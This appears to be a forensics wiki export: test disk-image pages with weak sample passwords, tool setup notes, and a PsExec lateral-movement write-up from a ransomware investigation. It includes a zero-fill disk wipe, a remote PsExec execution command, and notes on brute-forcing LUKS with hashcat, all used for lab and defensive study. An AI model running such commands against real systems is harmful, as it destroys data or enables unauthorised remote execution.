https://iblue.team

root@mint:~# umount /mnt/btrfs
```

## 2GB XFS (single volume)

**Download** VMDK (zipped)\
<https://files.iblue.team/279b6e00-851e/2GB-xfs/LINUX-MINT-2.zip>

**Download** RAW (zipped)\
<https://files.iblue.team/279b6e00-851e/2GB-xfs/2GB-xfs-raw.zip>

```
Previously attached /dev/sdb (MD5 a981130cf2b7e09f4686dc273cf7187e)

$ dd if=/dev/zero of=/dev/sdb
$ md5sum /dev/sdb
a981130cf2b7e09f4686dc273cf7187e  /dev/sdb

$ mkfs.xfs /dev/sdb
meta-data=/dev/sdb               isize=512    agcount=4, agsize=131072 blks
         =                       sectsz=512   attr=2, projid32bit=1
         =                       crc=1        finobt=1, sparse=1, rmapbt=0
         =                       reflink=1    bigtime=0 inobtcount=0
data     =                       bsize=4096   blocks=524288, imaxpct=25
         =                       sunit=0      swidth=0 blks
naming   =version 2              bsize=4096   ascii-ci=0, ftype=1
log      =internal log           bsize=4096   blocks=2560, version=2
         =                       sectsz=512   sunit=0 blks, lazy-count=1
realtime =none                   extsz=4096   blocks=0, rtextents=0
$ mkdir /mnt/xfs
$ mount /dev/sdb /mnt/xfs
$ echo "https://iblue.team" > /mnt/xfs/notes.txt
$ cat /mnt/xfs/notes.txt
https://iblue.team

$ umount /mnt/xfs
```


# ext4, LVM, and LUKS1/LUKS2

Disk images are 1GB unless otherwise noted.

In the root of each volume, there is a text file labelled 'notes.txt' which just contains the text '<https://iblue.team>'

## 1GB ext4

Single ext4 volume created/formatted on a Linux Mint host, at \~22:36ACST 22nd August 2023.

**Download** VMDK (zipped)\
<https://files.iblue.team/279b6e00-851e/1GB-ext4/LINUX-MINT-1.zip>

**Download** RAW (zipped)\
<https://files.iblue.team/279b6e00-851e/1GB-ext4/1G-ext4.zip>

```
SHA1
f676e6bc2af1c89bb0c531bc166437648bab3de8  1G-ext4.001
6072491a7927740b9540d6673ef024b298a0a793  1G-ext4.zip
e74aed8628a4931fb8497eac3016fcd6cc9c1ac5  LINUX-MINT-1.vmdk
59fee87ebdf3fd493f3230abc64a3f6cc27cd180  LINUX-MINT-1.zip
```

```
$ fdisk -l
Disk /dev/sdb: 1 GiB, 1073741824 bytes, 2097152 sectors
Disk model: VMware Virtual

$ md5sum /dev/sdb
cd573cfaace07e7949bc0c46028904ff  /dev/sdb

$ mkfs.ext4 /dev/sdb
mke2fs 1.46.5 (30-Dec-2021)
Creating filesystem with 262144 4k blocks and 65536 inodes
Filesystem UUID: 3f13c5a2-1e5b-4771-b5c3-430e4d0a1053
Superblock backups stored on blocks:
        32768, 98304, 163840, 229376

Allocating group tables: done
Writing inode tables: done
Creating journal (8192 blocks): done
Writing superblocks and filesystem accounting information: done

root@mint:~# date
Tue 22 Aug 2023 22:36:58 ACST

$ mount /dev/sdb /mnt/ext4
> nano /mnt/ext4/notes.txt > https://iblue.team

$ md5sum /dev/sdb
40575d67d4651c200d9f3234701bf05e  /dev/sdb
```

## 1GB ext4 with LVM

**Download** VMDK (zipped)\
<https://files.iblue.team/279b6e00-851e/1GB-ext4-lvm/LINUX-MINT-0.zip>

**Download** RAW (zipped)\
<https://files.iblue.team/279b6e00-851e/1GB-ext4-lvm/1G-ext4-lvm.zip>

```
12601117707183a3806e7ef37cb43d4a91b1a9ef  1G-ext4-lvm.001
ce017999032df22c8d7fb2601e3f2efdfb2cf9d3  1G-ext4-lvm.zip
058a3529f69c3b5b6ac3ff81add190ae41432b55  LINUX-MINT-0.vmdk
d3a1f5035cf74374e7bc8eae1a5561607b900ab7  LINUX-MINT-0.zip
```

```
$ md5sum /dev/sdb
cd573cfaace07e7949bc0c46028904ff  /dev/sdb

lvm version
  LVM version:     2.03.11(2) (2021-01-08)
  Library version: 1.02.175 (2021-01-08)
  Driver version:  4.45.0
  
  root@mint:~# lvmdiskscan
  /dev/sda2 [     513.00 MiB]
  /dev/sda3 [     <79.50 GiB]
  /dev/sdb  [       1.00 GiB]
  1 disk
  2 partitions
  0 LVM physical volume whole disks
  0 LVM physical volumes
  
$ pvcreate /dev/sdb
  Physical volume "/dev/sdb" successfully created
  
$ vgcreate vg01 /dev/sdb
  Volume group "vg01" successfully created
  
  root@mint:~# vgdisplay
  --- Volume group ---
  VG Name               vg01
  System ID
  Format                lvm2
  Metadata Areas        1
  Metadata Sequence No  1
  VG Access             read/write
  VG Status             resizable
  MAX LV                0
  Cur LV                0
  Open LV               0
  Max PV                0
  Cur PV                1
  Act PV                1
  VG Size               1020.00 MiB
  PE Size               4.00 MiB
  Total PE              255
  Alloc PE / Size       0 / 0
  Free  PE / Size       255 / 1020.00 MiB
  VG UUID               SuDIRA-DfeR-N3Gh-r41v-fZJL-2duf-XEuwWf
  
$ lvcreate -L 1020M -n lv01 vg01
  Logical volume "lv01" created.
  
  root@mint:~# lvdisplay
  --- Logical volume ---
  LV Path                /dev/vg01/lv01
  LV Name                lv01
  VG Name                vg01
  LV UUID                YH1P8v-cDBJ-1emn-0ApX-Qq7j-S6Pr-3IsWkV
  LV Write Access        read/write
  LV Creation host, time mint, 2023-08-22 22:04:23 +0930
  LV Status              available
  # open                 0
  LV Size                1020.00 MiB
  Current LE             255
  Segments               1
  Allocation             inherit
  Read ahead sectors     auto
  - currently set to     256
  Block device           253:0
  
$ mkfs.ext4 /dev/vg01/lv01

mke2fs 1.46.5 (30-Dec-2021)
Creating filesystem with 261120 4k blocks and 65280 inodes
Filesystem UUID: 6423a1eb-f631-45e1-9f9a-94a49b6c90c6
Superblock backups stored on blocks:
        32768, 98304, 163840, 229376

Allocating group tables: done
Writing inode tables: done
Creating journal (4096 blocks): done
Writing superblocks and filesystem accounting information: done

$ stat /mnt/ext4/note.txt
  File: /mnt/ext4/note.txt
  Size: 19              Blocks: 8          IO Block: 4096   regular file
Device: fd00h/64768d    Inode: 13          Links: 1
Access: (0644/-rw-r--r--)  Uid: (    0/    root)   Gid: (    0/    root)
Access: 2023-08-22 22:05:46.435740476 +0930
Modify: 2023-08-22 22:05:46.435740476 +0930
Change: 2023-08-22 22:05:46.435740476 +0930
 Birth: 2023-08-22 22:05:46.435740476 +0930
```

## 1GB ext4 with LVM and LUKS1

**Download** VMDK  (zipped)\
<https://files.iblue.team/279b6e00-851e/1GB-ext4-lvm-luks1/LINUX-MINT-0.zip>\
\
**Download** RAW (zipped)\
<https://files.iblue.team/279b6e00-851e/1GB-ext4-lvm-luks1/1GB-ext4-lvm-luks1.zip>

```
ce8b173bf5a5e225fc883842eb035319241138bf  1GB-ext4-lvm-luks1.001
03b21c977e9f66e52cceaf1b7a08aa4cee92fdce  1GB-ext4-lvm-luks1.zip
757fe568f93c04b667bd16803098a7756ab9d1b6  LINUX-MINT-0.vmdk
41f8dd22c03b95d968b5884680a76ce88c55afc7  LINUX-MINT-0.zip
```

Key slot 0 was set with the password 'password'\
Key slot 1 was set with the password 'superpassword'

```
Using existing disk

$ cryptsetup luksFormat --type luks1 /dev/mapper/vg01-lv01
WARNING: Device /dev/mapper/vg01-lv01 already contains a 'ext4' superblock signature.

WARNING!
========
This will overwrite data on /dev/mapper/vg01-lv01 irrevocably.

Are you sure? (Type 'yes' in capital letters): YES
Enter passphrase for /dev/mapper/vg01-lv01: password
Verify passphrase: password

$ cryptsetup luksOpen /dev/mapper/vg01-lv01 luks1
Enter passphrase for /dev/mapper/vg01-lv01: password 

$ cryptsetup -v status luks1
/dev/mapper/luks1 is active.
  type:    LUKS1
  cipher:  aes-xts-plain64
  keysize: 512 bits
  key location: dm-crypt
  device:  /dev/mapper/vg01-lv01
  sector size:  512
  offset:  4096 sectors
  size:    2084864 sectors
  mode:    read/write
Command successful

$ sudo cryptsetup luksDump /dev/mapper/vg01-lv01
LUKS header information for /dev/mapper/vg01-lv01

Version:        1
Cipher name:    aes
Cipher mode:    xts-plain64
Hash spec:      sha256
Payload offset: 4096
MK bits:        512
MK digest:      01 eb 16 1a 86 1c db 04 5a 86 0a 6c c3 8e d9 44 1a 72 04 c4
MK salt:        a6 3c c4 96 52 33 c6 6f 5e 0f a6 38 34 2e 7a 3c
                a5 4b 62 4f 6d 5a f1 07 5a c8 ff 52 ad 4b b8 78
MK iterations:  110890
UUID:           0689d6a7-33a1-47fd-a971-c6ac38b24d47

Key Slot 0: ENABLED
        Iterations:             1956298
        Salt:                   bc 58 47 d6 4c fb bb 77 c7 e7 91 f7 22 ef 81 0c
                                3f b5 5d ad b1 3e 08 32 51 47 94 c2 c0 4a 20 ed
        Key material offset:    8
        AF stripes:             4000
Key Slot 1: DISABLED
Key Slot 2: DISABLED
Key Slot 3: DISABLED
Key Slot 4: DISABLED
Key Slot 5: DISABLED
Key Slot 6: DISABLED
Key Slot 7: DISABLED

Key Slot 0 is ENABLED (password is password)
```

Let's enable the second key slot (key slot 1)

```
$ cryptsetup luksAddKey /dev/mapper/vg01-lv01
Enter any existing passphrase: password
Enter new passphrase for key slot: superpassword
Verify passphrase: superpassword

$ cryptsetup luksDump /dev/mapper/vg01-lv01
LUKS header information for /dev/mapper/vg01-lv01

Version:        1
Cipher name:    aes
Cipher mode:    xts-plain64
Hash spec:      sha256
Payload offset: 4096
MK bits:        512
MK digest:      01 eb 16 1a 86 1c db 04 5a 86 0a 6c c3 8e d9 44 1a 72 04 c4
MK salt:        a6 3c c4 96 52 33 c6 6f 5e 0f a6 38 34 2e 7a 3c
                a5 4b 62 4f 6d 5a f1 07 5a c8 ff 52 ad 4b b8 78
MK iterations:  110890
UUID:           0689d6a7-33a1-47fd-a971-c6ac38b24d47

Key Slot 0: ENABLED
        Iterations:             1956298
        Salt:                   bc 58 47 d6 4c fb bb 77 c7 e7 91 f7 22 ef 81 0c
                                3f b5 5d ad b1 3e 08 32 51 47 94 c2 c0 4a 20 ed
        Key material offset:    8
        AF stripes:             4000
Key Slot 1: ENABLED
        Iterations:             1836384
        Salt:                   60 95 5c d5 36 77 bb f7 78 a9 11 98 d7 66 79 38
                                c6 5e 14 98 da aa 2a 3d 62 bf e4 31 2a 73 8d 57
        Key material offset:    512
        AF stripes:             4000
Key Slot 2: DISABLED
Key Slot 3: DISABLED
Key Slot 4: DISABLED
Key Slot 5: DISABLED
Key Slot 6: DISABLED
Key Slot 7: DISABLED
```

## 1GB ext4 with LVM and LUKS2

**Download** VMDK (zipped)\
<https://files.iblue.team/279b6e00-851e/1GB-ext4-lvm-luks2/LINUX-MINT-0.zip>

**Download** RAW (zipped)\
<https://files.iblue.team/279b6e00-851e/1GB-ext4-lvm-luks2/1GB-ext4-lvm-luks2.zip>

```
ce8b173bf5a5e225fc883842eb035319241138bf  1GB-ext4-lvm-luks2.001
f580250eff1ca6afd27a076c0935557cdb48438a  1GB-ext4-lvm-luks2.zip
757fe568f93c04b667bd16803098a7756ab9d1b6  LINUX-MINT-0.vmdk
41f8dd22c03b95d968b5884680a76ce88c55afc7  LINUX-MINT-0.zip
```

```
$ cryptsetup convert --type luks2 /dev/mapper/vg01-lv01

WARNING!
========
This operation will convert /dev/mapper/vg01-lv01 to LUKS2 format.
Are you sure? (Type 'yes' in capital letters): YES

$ cryptsetup luksDump /dev/mapper/vg01-lv01
LUKS header information
Version:        2
Epoch:          2
Metadata area:  16384 [bytes]
Keyslots area:  2064384 [bytes]
UUID:           0689d6a7-33a1-47fd-a971-c6ac38b24d47
Label:          (no label)
Subsystem:      (no subsystem)
Flags:          (no flags)

Data segments:
  0: crypt
        offset: 2097152 [bytes]
        length: (whole device)
        cipher: aes-xts-plain64
        sector: 512 [bytes]

Keyslots:
  0: luks2
        Key:        512 bits
        Priority:   normal
        Cipher:     aes-xts-plain64
        Cipher key: 512 bits
        PBKDF:      pbkdf2
        Hash:       sha256
        Iterations: 1956298
        Salt:       bc 58 47 d6 4c fb bb 77 c7 e7 91 f7 22 ef 81 0c
                    3f b5 5d ad b1 3e 08 32 51 47 94 c2 c0 4a 20 ed
        AF stripes: 4000
        AF hash:    sha256
        Area offset:32768 [bytes]
        Area length:258048 [bytes]
        Digest ID:  0
  1: luks2
        Key:        512 bits
        Priority:   normal
        Cipher:     aes-xts-plain64
        Cipher key: 512 bits
        PBKDF:      pbkdf2
        Hash:       sha256
        Iterations: 1836384
        Salt:       60 95 5c d5 36 77 bb f7 78 a9 11 98 d7 66 79 38
                    c6 5e 14 98 da aa 2a 3d 62 bf e4 31 2a 73 8d 57
        AF stripes: 4000
        AF hash:    sha256
        Area offset:290816 [bytes]
        Area length:258048 [bytes]
        Digest ID:  0
Tokens:
Digests:
  0: pbkdf2
        Hash:       sha256
        Iterations: 110890
        Salt:       a6 3c c4 96 52 33 c6 6f 5e 0f a6 38 34 2e 7a 3c
                    a5 4b 62 4f 6d 5a f1 07 5a c8 ff 52 ad 4b b8 78
        Digest:     01 eb 16 1a 86 1c db 04 5a 86 0a 6c c3 8e d9 44
                    1a 72 04 c4
```


# NTFS, FAT32, with BitLocker

Coming shortly.


# NTFS, FAT32, exFAT with TrueCrypt, VeraCrypt

4GB NTFS with VeraCrypt

### 1GB FAT32 with VeraCrypt

**Download:** \
<https://files.iblue.team/279b6e00-851e/1GB-fat32-veracrypt/WIN10-VERACRYPT-1-flat.zip>\
**Download:** 1GB-fat32-veracrypt.zip\
<https://files.iblue.team/279b6e00-851e/1GB-fat32-veracrypt/1GB-fat32-veracrypt.zip>

Both are 1GB in size, password is **password**.

```
SHA1
469cfd70bc279dc60ac87258c7e605be3e8e342b  WIN10-VERACRYPT-1-flat.vmdk
bd06eed262fa731dabb1d4ccca765de164c1a3b9  WIN10-VERACRYPT-1-flat.zip
469cfd70bc279dc60ac87258c7e605be3e8e342b  1GB-fat32-veracrypt.001
e1244874d1d0f8133083483c4674b5624e79defd  1GB-fat32-veracrypt.zip
```

```
GPT/GUID partition table
Created 1st September, 8:50pm
1GB

Mounted as F:, FAT32
volume label: IBLUE
VeraCrypt
> Format non-system drive
> Standard VeraCrypt Volume
> Default (AES / SHA512)
> password is password (no PIM)
> Filesystem FAT32

Filesytem: FAT32, Cluster: Default
Mounted as Z:
Copied notes.txt to root of drive @ 8:53PM
```


# VirtualBox adapters greyed out

I tend to use my ESXi and/or Proxmox host/s for virtual machine testing and development, however VirtualBox is still a fairly solid alternative. In [late 2022](https://www.virtualbox.org/wiki/Changelog-7.0), VirtualBox introduced virtual TPM (vTPM) and secure boot.&#x20;

As part of some recent testing, I deployed a Windows 10 instance with VirtualBox 7.0.10 and found that all available network adapters were available. Specifically, all were greyed out except for 'Adapter 4' which was unavailable. I couldn't click on anything, nothing was configurable. Nothing had changed from my previous 6.7 (?) install.

I found the following article and have reproduced the notes here in case the original source is unavailable.

Original URL: <https://forums.virtualbox.org/viewtopic.php?t=103421>

BrianGillette posted;

```
Go to Control Panel -> Network & Sharing Center -> Change adapter Settings
Right click on your network adapter and pick "properties"
In the "connection uses the following items" box, at the bottom, click the Install button and select "Service" from the list and click the Add button.
A list of existing services will pop up. you want to choose the "have disk "option.
Once you have chosen the Have Disk option you will navigate to C:\Program Files\Oracle\VirtualBox\drivers\network and pick the "netlwf" item and add it as a service.
Close out of Virtual box if you haven't already, and re-open it. Now the adapter will be in the Network Adapter list for the Bridged Adapter field.
```


# Exporting SQLite blob data from standalone SQLite database using command line tools

Description and steps on how to export binary/blob data from a SQLite database using sqlite command line tools.

There may be times when you're reviewing a SQLite database and identify certain fields contain data you wish to export. This data could be anything, including raw text and binary/hex. I recently saw a question regarding the Unarchiver application on iOS, where an analyst had 160+ photographs stored as blob data within certain fields. It would be a trivial task to copy/paste a few fields and save them as photographs/images, but that wouldn't work with 160+, it's time consuming, prone to error, and not as easy to document.

To test my proposed process, I created a database 'testdb.db' which contained a single table called 'photo', and two fields named 'photodata' and 'key'. I imported hex data of a dog as key 1, and hex data of a cat as key 2.

Install sqlite command line tools (can be used on a standalone virtual machine, or WSL/WSL2)

```
$ sudo apt install sqlite3
```

The following one-liner will use sqlite command line tools to query all key values, pipe that into while, read it as an ID value, then use writefile (a command within sqlite tools), and write each corresponding binary blob as a unique file.

```
sqlite3 testdb.db "SELECT key from photo" | while read id; do echo SELECT writefile\(\'export-key-$id.jpg\', photodata\) FROM photo WHERE key = $id\;; done | sqlite3 testdb.db
```

This will allow you to recursively export all blob data for each field, and save it as a unique file. The added advantage of this is that the file names will contain a corresponding key value, it is easier to document and explain to your audience, and is of course programmatic and saves time.

<figure><img src="/files/UvotH9u1twNQxYIkV5iV" alt=""><figcaption></figcaption></figure>


# Cribl


# Setup and Configuration

We'll run through deploying Cribl, setting SSL certs, and roles.

SSO/SAML isn't available in the community editition.

## Virtual Machine

We're setting up a basic virtual machine to host both Cribl Edge, and Stream (installed together as Suite).

<pre><code>$ curl -Lso - $(curl https://cdn.cribl.io/dl/latest-x64) | tar zxv
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100    66  100    66    0     0    212      0 --:--:-- --:--:-- --:--:--   212
cribl/
[snip]
cribl/thirdparty/licenses/license-react-grid-layout-1.4.2
$ cd /cribl/bin
<strong>$ ./start.sh
</strong>start.sh is deprecated, use: $CRIBL_HOME/bin/cribl.sh &#x3C;start|stop|restart|status>
cribl.sh is deprecated. Please use cribl command instead.
Starting...
...................
Cribl started

{"time":"2025-11-29T00:29:39.580Z","cid":"api","channel":"gitmgr","level":"info","message":"Git accessed before initialization","path":"/home/user/cribl","pid":1619}
{"time":"2025-11-29T00:29:39.637Z","cid":"api","channel":"gitmgr","level":"info","message":"Creating BasicGit client","opts":{"baseDir":"/home/user/cribl","timeoutMs":300000,"env":{},"leaderReplicationEnabled":false}}
Address: http://192.168.1.46:9000
Mode: single
Status: Up
Software Version: 4.15.0-f275b803
Config Version: a8bff2f
PID: 1634
GUID: [snip]
Login credentials are admin / admin
</code></pre>

Uh, that was quick.

Welcome!

<figure><img src="/files/HDzW08fpFGbrVRghL2U2" alt=""><figcaption></figcaption></figure>


# Azure / M365 Integration


# Splunk


# Setup and Configuration

We'll run through deploying Splunk, setting SSL certs, and roles.

SSO/SAML isn't available in the free edition.

## Virtual Machine

Deploy a standard VM. We're using Ubuntu 24.04.

Sign into your Splunk portal, and grab the .deb package link

{% code overflow="wrap" %}

```
$ wget -O splunk-10.0.2-e2d18b4767e9-linux-amd64.deb "https://download.splunk.com/products/splunk/releases/10.0.2/linux/splunk-10.0.2-e2d18b4767e9-linux-amd64.deb"
```

{% endcode %}

Install the package

```
$ sudo dpkg -i splunk-10.0.2-e2d18b4767e9-linux-amd64.deb
```

Check it's installed&#x20;

```
$ dpkg --status splunk
Package: splunk
Status: install ok installed
Maintainer: Splunk Inc. <info@splunk.com>
Architecture: amd64
Version: 10.0.2
Description: Splunk The platform for machine data.
```

Start it

```
cd /opt/splunk
sudo ./splunk start
```

Accept the general terms and conditions

```
Do you agree with this license? [y/n]: y
```

Wait for the self-signed certs to be generated

{% code overflow="wrap" %}

```
Warning: ignoring -extensions option without -extfile
Certificate request self-signature ok
subject=CN = splunk, O = SplunkUser
Done


Waiting for web server at http://127.0.0.1:8000 to be available........................................ Done


If you get stuck, we're here to help.
Look for answers here: http://docs.splunk.com

The Splunk web interface is at http://splunk:8000
```

{% endcode %}

<figure><img src="/files/KMri5HPqHc8PTgPEUs6H" alt=""><figcaption></figcaption></figure>


# Introduction to KQL

Introduction to KQL (in the context of hunting in Defender)

Coming soon.


# PsExec


# PsExec and NTUSER data

TL;DR - Using PsExec to deploy & execute a file in the context of a user results in the specified user's NTUSER data profile being created despite never interactively logging onto the system itself.

Last week I was involved in the response to ransomware being deployed in an enterprise environment. I was able to trace PsExec events back to the original staging host, however on all of the encrypted servers I observed NTUSER data (NTUSER.dat and default folders - Desktop, Downloads, Documents, etc) being created immediately prior to ransomware notes being deployed.

I initially thought this indicated an interactive logon from a remote host, however I wasn't able to locate any network logon/authentication logs (*that's a separate issue outside the scope of this particular page*) or Desktop/Terminal Services events. I had a timeline of PsExec events, a timeline of events related to ransomware (files being renamed, ransomware note creation times etc) and a timeline of NTUSER data being created.

In this environment there was no SIEM, no EDR, no syslog, no verbose logging, only plain old antivirus. With access to Windows Event Logs and the system drive MFT, I needed to answer the following questions;

1. **What occurred on the system which resulted in the creation of NTUSER data?**
2. **Was the logon an interactive, or non-interactive logon event?**

My running theory was that NTUSER data was caused by PsExec execution, however I wasn't able to quantify this with the data available to me at the time (more data was later available which explained what happened, but this write up is in the context of limited data). I also hadn't been presented with this particular scenario, so instead of fumbling and guessing, I reached out to @randomaccess and started discussing plausible scenarios.

**A special thank you to @randomaccess over at** [**https://thisweekin4n6.com/about/**](https://thisweekin4n6.com/about/) **for helping me brainstorm a few ideas and for a little nudge to complete this write up** :wink: :beer:

In order to test my theory, I followed the following steps using my DF lab;

1. Create a Windows 10 and Windows Server 2019 virtual machine (standalone, no domain),
2. Create second privileged user (default Administrator account was created during setup),
3. Using the Administrator account, create a test file (test.txt) in a common, easily accessible location (C:\Windows\Temp),
4. Execute PsExec on 'attacker' host to open test file on the victim host; \
   \
   `PsExec -i -u TARGETUSERNAME \\REMOTEHOST notepad C:\windows\test.txt`<br>
5. Shutdown VM
6. Acquire VMDK from ESXi VMFS volume
7. Extract Windows Event Logs & parse using [EZ tools](https://ericzimmerman.github.io/#!index.md)' EvtxECmd
8. Extract MFT & parse using [EZ tools' ](https://ericzimmerman.github.io/#!index.md)MFTECmd
9. View timeline for both MFT and Windows Event Log.

Confirming the process was executed on the receiving host;

<figure><img src="/files/k6HShapvEy6EZgo5H2IQ" alt=""><figcaption></figcaption></figure>

If you open Process Explorer on the receiving host, you'll see the following process tree (this would be useful if you're trying to identify a process/service/parent PID/PID from a memory dump)

`winnit.exe > services.exe > PSEXESVC.exe > notepad.exe`

<figure><img src="/files/CiDCrDb4mjSNEcPdAerk" alt=""><figcaption></figcaption></figure>

Of course these are just the defaults. PsExec also provides a switch (**-r**) to rename the remote service to something else, so it may appear as something unfamiliar (randomservicename.exe) or something 'familiar' in an unfamiliar/strange location.

<figure><img src="/files/isX9U2V36rKaXh2qKs2H" alt=""><figcaption></figcaption></figure>

The following artefacts were generated in the MFT on the victim host.

C:\Windows\Temp\test.txt was created by me, then PsExec was used \~6 minutes later to open it using Notepad.

<figure><img src="/files/0Q8zrev9e5FVqj3HVaKF" alt=""><figcaption><p>MFT from receiving host</p></figcaption></figure>

<figure><img src="/files/8vYrTQiUXRfVF2I9FBqZ" alt=""><figcaption><p>MFT from receiving host (cont.)</p></figcaption></figure>

<figure><img src="/files/HS02AXPG1Eg8pF1fjZPC" alt=""><figcaption></figcaption></figure>

What's interesting about the above events showing the target account logging on (it was only ever via PsExec, never directly from the terminal/login screen or over remote desktop) is that LogonType 2 (record 1578 above) traditionally indicates it was a hands-on-keyboard/interactive logon when it wasn't. This highlights the risk of interpreting single artefacts (such as an event record, MFT entry, etc) in isolation, as it doesn't provide any context and is (potentially) subject to misinterpretation. If an analyst was presented with the above records, it may cause them to conclude that a person logged onto the server (via a traditional interactive method, such as hands-on-keyboard etc) using the *admin.ldap* account which is clearly not what happened.

That being said, this testing shows (and what appears to have happened during the initial engagement) is that PsExec was used from a remote host, via the local network, using the **-i** flag which executes the specified command in the the context of the specified user. See the full list of PsExec switches [here](https://learn.microsoft.com/en-us/sysinternals/downloads/psexec).

<table><thead><tr><th width="88">Flag</th><th>Explanation</th></tr></thead><tbody><tr><td><strong>-i</strong></td><td>Run the program so that it interacts with the desktop of the specified session on the remote system. If no session is specified the process runs in the console session. This flag is <strong>required</strong> when attempting to run console applications interactively (with redirected standard IO).</td></tr></tbody></table>

To answer the original questions;

1\.    What occurred on the system which resulted in the creation of NTUSER data?

There were no authentication logs which suggest the destination account had ever logged onto to the system prior to the ransomware being deployed. The destination account's NTUSER data was created at the time of the incident due to lateral movement and subsequent authentication via PsExec, which was used to execute the ransomware executable.

2\.    Was the logon an interactive, or non-interactive logon event?

Based on system logs (including service logs), we were able to show that PsExec was executed from a remote host in the context of the specified user. The user account itself was never used to log onto the victim host in a traditional interactive/hands-on-keyboard sense.

As a side note, this is what [Harlan Carvey ](http://windowsir.blogspot.com/)often speaks about when he refers to opportunities to write detection rules, leverage insight via system/process/executable telemetry etc based on usage of native binaries. We know PsExec is a legitimate binary, but do you actually use it in your environment? If you know the 'usual' circumstances in which you use (or perhaps more importantly, you do ***not*** use!) native binaries then you can begin to build detection rules based on otherwise 'innocent' system behaviour.&#x20;

If you have a central logging system such as Wazuh/Elastic/Graylog, your flow could be similar to this for alerts;

`System logs > Wazuh/Elastic/Graylog platform >`` `**`PsExec usage detected`**` ``> trigger alert (email/PagerDuty/Slack/Teams/etc)`

**Logs** (related to account activitity, not PsExec behaviour)

Event ID 4624 (Microsoft Windows Security Auditing) Successful Logon\
Event ID 4625 (Microsoft Windows Security Auditing) Failed Logon\
Event ID 4776 (Microsoft Windows Security Auditing) NTLM Authentication Request\
Event ID 4648 (Microsoft Windows Security Auditing) A logon was attempted using explicit credentials\
Event ID 62443 (Microsoft Windows Shell Core) AppDefaults Logon User Profile Created


# Security Patch/KB Install Date

How to determine installation time of a specific security patch/update/KB package based on registry key values.

There may be times when you need to determine when a security update was installed. This is obviously a lot easier if you had access to a live machine to run live queries (see [here ](https://osd365.com/a-powershell-script-to-list-all-installed-microsoft-windows-updates/)for PowerShell queries) however that's not always possible. You may only have a limited logical collection, triage collection (collected by CyLR/UAC etc), or are working from a limited backup.

Installed security packages are located at the following location;

```
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Component Based Servicing\Packages
```

Each key references a specific package

![](/files/rVzMLDum5d4y9CnDgEcZ)

Keys may contain the following values;

* SelfUpdate (0 for manual updates, 1 for automatic updates)
* InstallTimeHigh
* InstallTimeLow
* InstallUser (SID of the user who installed the package)

Even though the key "Package\_8\_for\_KB4033393\~..." contains a corresponding 'last write timestamp' of **2022-07-14 01:47:25 (UTC)**, I wanted to validate this against the values within the key itself based on the InstallTimeHigh and InstallTimeLow timestamps.

I found a BigFix article which referenced the following formula used to calculate the corresponding timestamp.

`Timestamp = InstallTimeHigh * 2^32 + InstallTimeLow`

2 ^ 32 is 4294967296

In the above example, our formula would look like this;

`Timestamp = (30971683 * 4294967296) + 2864280153`

`Timestamp = (133022365587079168) + 2864280153`

`Timestamp = 133022368451359321`

<div align="center"><img src="/files/1gTs1H1BLeeNF5IV7cgj" alt=""></div>

Converter: <https://www.epochconverter.com/ldap>

:exclamation:Note: if you mount the SOFTWARE hive on another machine and export the key/value as a text file, the corresponding date/timestamp will be adjusted for the host machine's local time.:exclamation:

![](/files/uis4JJD0bZ9oJCIbncds)


# Inspecting RPM/DEB packages

An RPM package (.rpm) is a package which is used to store files/scripts/conf files on RedHat systems.

Likewise, .deb files (Debian/binary packages) contain similar contents for Debian-based systems.

Let's inspect a simple .deb package provided by ProtonVPN for their CLI VPN client (available [here](https://protonvpn.com/download/protonvpn-stable-release_1.0.0-1_all.deb)).

```
$ file protonvpn-stable-release_1.0.0-1_all.deb
protonvpn-stable-release_1.0.0-1_all.deb: Debian binary package (format 2.0), with control.tar.xz, data compression xz
```

To unpack .deb files, you can either use dpkg -c like so;

```
$ dpkg -c protonvpn-stable-release_1.0.0-1_all.deb
```

Or you can simply use tar -x, like so;

```
$ tar -x protonvpn-stable-release_1.0.0-1_all.deb
```

Or use dpkg-deb;

```
$ dpkg-deb -x protonvpn-stable-release_1.0.0-1_all.deb .
```

This will create the files/directories which would be modified/created if you were to install the package with dpkg.

RPM - TBA


# Common Locations

Typical location & description of various Linux log files

### Common Linux log files names and usage

* /var/log/messages : General message and system related stuff
* /var/log/auth.log : Authentication logs
* /var/log/secure : Authentication & security logs (RedHat/CentOS)
* /var/log/audit/audit\* : Audit logs (RedHat/CentOS)
* /var/log/kern.log : Kernel logs
* /var/log/cron.log : Crond logs (cron job)
* /var/log/maillog : Mail server logs
* /var/log/qmail/ : Qmail log directory (more files inside this directory)
* /var/log/httpd/ : Apache access and error logs directory
* /var/log/lighttpd/ : Lighttpd access and error logs directory
* /var/log/nginx/ : Nginx access and error logs directory
* /var/log/apt/ : Apt/apt-get command history and logs directory
* /var/log/boot.log : System boot log
* /var/log/mysqld.log : MySQL database server log file
* /var/log/secure or /var/log/auth.log : Authentication log
* /var/log/utmp or /var/log/wtmp : Login records file
* /var/log/yum.log or /var/log/dnf.log: Yum/Dnf command log file.

#### Printing the Linux kernel ring buffer messages

We use the dmesg command to examine or control the kernel ring buffer. The default action is to display all messages from the kernel ring buffer. For example:\
&#x20;`sudo dmesg`\
&#x20;`sudo dmesg | grep 'error'`\
&#x20;`sudo dmesg | grep -i -E 'error|warn|failed'`\
&#x20;`sudo dmesg | more`

&#x20;Without any arguments, all collected logs are shown unfiltered as follows:\
&#x20;`journalctl`


# LUKS, hashcat, and hidden volumes

**TL;DR:** You can encrypt/protect a volume/partition using LUKS, and then nest another encrypted volume inside it (using VeraCrypt or similar), which results in the hash for the LUKS volume not being validated correctly using hashcat.

**Why is this an issue?**

Brute forcing LUKS2 volumes is computationally intensive, and current validation processes may result in incomplete or inaccurate results. The following are notes related to testing and validation of encrypted volumes which do not have a root filesystem.

Create a LUKS device (default version is 2). Password is set as 'password'

```
$ cryptsetup luksFormat /dev/sdc

WARNING!
========
This will overwrite data on /dev/sdc irrevocably.

Are you sure? (Type 'yes' in capital letters): YES
Enter passphrase for /dev/sdc:
Verify passphrase:
```

Verify /dev/sdc is now a LUKS device

```
$ cryptsetup luksDump /dev/sdc
LUKS header information
Version:        2
Epoch:          3
Metadata area:  16384 [bytes]
Keyslots area:  16744448 [bytes]
UUID:           f4bd2ee4-969d-4022-b61e-23524e83f592
Label:          (no label)
Subsystem:      (no subsystem)
Flags:          (no flags)

Data segments:
  0: crypt
        offset: 16777216 [bytes]
        length: (whole device)
        cipher: aes-xts-plain64
